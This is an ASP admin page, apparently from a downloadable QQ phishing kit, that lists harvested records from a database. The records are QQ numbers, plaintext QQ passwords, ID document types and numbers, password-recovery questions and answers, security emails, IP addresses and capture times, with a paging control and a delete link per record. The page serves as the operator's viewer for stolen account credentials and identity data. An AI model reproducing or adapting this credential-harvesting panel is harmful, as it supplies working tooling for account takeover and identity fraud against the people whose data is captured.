www.pudn.com > QQ.zip > list.asp, change:2009-08-03,size:5662b


<!--#include file="conn.asp"--> 
<!--#include file="reg/zcm.asp"--> 
<% 
If session("admin")="" then 
    Response.Write "<script>alert('登陆超时,请重新登陆!');this.location.href='admin.asp';</SCRIPT>" 
	Response.End 
End If 
sql="select * from name order by id desc" 
set rs=server.createobject("adodb.recordset") 
rs.open sql,conn,1,1 
if rs.bof and rs.eof then  
response.write"<html><head>" 
response.write"<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" 
response.write"<title>后台管理 - 数据库无记录</title>" 
response.write"<LINK href='skin/admin.css' type=text/css rel=stylesheet>" 
response.write"<style type='text/css'>" 
response.write"td           { font-size: 12px; line-height: 17px }" 
response.write"body         { font-size: 12px; line-height: 17px }" 
response.write"p            { margin-top: 1px; margin-bottom: 1px }" 
response.write"a:link       { text-decoration: none; color: black }" 
response.write"a:visited    { text-decoration: none; color: black }" 
response.write"a:active     { text-decoration: none }" 
response.write"a:hover      { text-decoration: underline; color: red }" 
response.write"</style>" 
response.write"</style></head>" 
response.write"<table border='0' width='100%'  cellspacing='0' cellpadding='0'><tr><td width='100%'>" 
response.write"<divalign='center'><center><table width='210' border='1'><tr>" 
response.write"<td width='200' scope='col' height='21'><div align='left'><p align='center' class='title'>数据库中没有数据" 
response.write"</td></tr></table>" 
response.write"<br><br>" 
response.write"<table border='0' width='100%' cellspacing='0' cellpadding='0'><tr><td height='1'><p align='center'>"                  
response.write"</tr></table></body></html>" 
response.end  
end if  
%> 
 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title>后台管理</title> 
<LINK href="skin/admin.css" type=text/css rel=stylesheet> 
<style type="text/css"> 
<!--  
td           { font-size: 12px; line-height: 17px } 
body         { font-size: 12px; line-height: 17px } 
p            { margin-top: 1px; margin-bottom: 1px } 
a:link       { text-decoration: none; color: black } 
a:visited    { text-decoration: none; color: black } 
a:active     { text-decoration: none } 
a:hover      { text-decoration: underline; color: red } 
--> 
</style> 
</head> 
 
<% 
rs.pagesize=10 
curpage=Request.QueryString("curpage") 
if curpage="" then curpage=1 
rs.absolutepage=curpage 
%> 
<% 
for i= 1 to rs.pagesize 
if rs.eof then 
exit for 
end if 
%> 
      <table border="0" width="100%"  cellspacing="0" cellpadding="0"> 
    <tr> 
      <td width="100%"> 
 
<div align="center"> 
  <center> 
   <table width="436" height="46" border="1" id="table2"> 
    <tr> 
      <td height="21"><div align="left" bgcolor="#FFFFFF">QQ号码: 
          <%if session("admin")<>"" then%> 
	  <%=rs("QQNumber")%> 
          <%else%> 
        管理员可见 
  <%end if%> 
      </div></th> 
      <td width="204" height="21"><div align="left" bgcolor="#FFFFFF">密码: 
        <%if session("admin")<>"" then%> 
          <%=rs("QQPassWord")%> 
          <%else%> 
        管理员可见 
  <%end if%> 
      </div></th> 
    </tr> 
    <tr> 
      <td><div align="left" bgcolor="#FFFFFF">证件类型:<%=rs("zhengjian")%></div></td> 
      <td width="204"><div align="left" bgcolor="#FFFFFF">证件号码:<%=rs("haoma")%></div></td> 
    </tr> 
      </table> 
  <table width="436" height="46" border="1" id="table3"> 
    <tr> 
      <td height="21"><div align="left" bgcolor="#FFFFFF"><div align="left" bgcolor="#FFFFFF"> 
		密码提示问题:<%=rs("wenti")%></div> 
      </div></th> 
      <td width="204" height="21"><div align="left" bgcolor="#FFFFFF">密码提示答案:<%=rs("daan")%></div></th> 
    </tr> 
    <tr> 
      <td><div align="left" bgcolor="#FFFFFF">安全邮箱地址:<%=rs("email")%></div></td> 
      <td width="204"><div align="left" bgcolor="#FFFFFF"> 
		<p align="center" bgcolor="#FFFFFF"><a href="del.asp?id=<%=rs("id")%>"><font color="red">删除</font></a></div></td> 
    </tr> 
      </table> 
  <table width="436" height="10" border="1" id="table4"> 
      <td width="334" bgcolor="#FFFFFF"> 
		<p align="center" bgcolor="#FFFFFF">IP地址:<%=rs("qqip")%></td> 
      </table> 
  <table width="436" height="10" border="1" id="table5"> 
      <td width="334" bgcolor="#FFFFFF"> 
		<p align="center" bgcolor="#FFFFFF">加入时间:<%=rs("data")%></td> 
      </table> 
  	<p align="center" bgcolor="#FFFFFF">        
 
</p> 
  </div> 
<% 
rs.movenext 
next 
%><hr></td> </tr>                                                          
      </table>                                                          
  <table border="0" width="100%" cellspacing="0" cellpadding="0">                                                          
   <tr>                                                          
    <td height="1" align="center">  
<p align="center">页数:<font color="red"><%=curpage%></font>/<%=rs.pagecount%> 
      
    <%if curpage=1 then%>首页<%else%><a href="?curpage=1">首页</a><%end if%> 
      
	<%if curpage=1 then%>上一页<%else%><a href="?curpage=<%=curpage-1%>">上一页</a><%end if%>   
	     
	<%if rs.pagecount<curpage+1 then%>下一页<%else%><a href="?curpage=<%=curpage+1%>">下一页</a><%end if%> 
	  
	<%if rs.pagecount<curpage+1 then%>尾页<%else%><a href="?curpage=<%=rs.pagecount%>">尾页</a><%end if%> 
	                                                         
	共有<font color="red"><%=rs.recordcount%></font>个用户</p> 
	<p align="center"> </p>         
	 
                                                                        
     <p>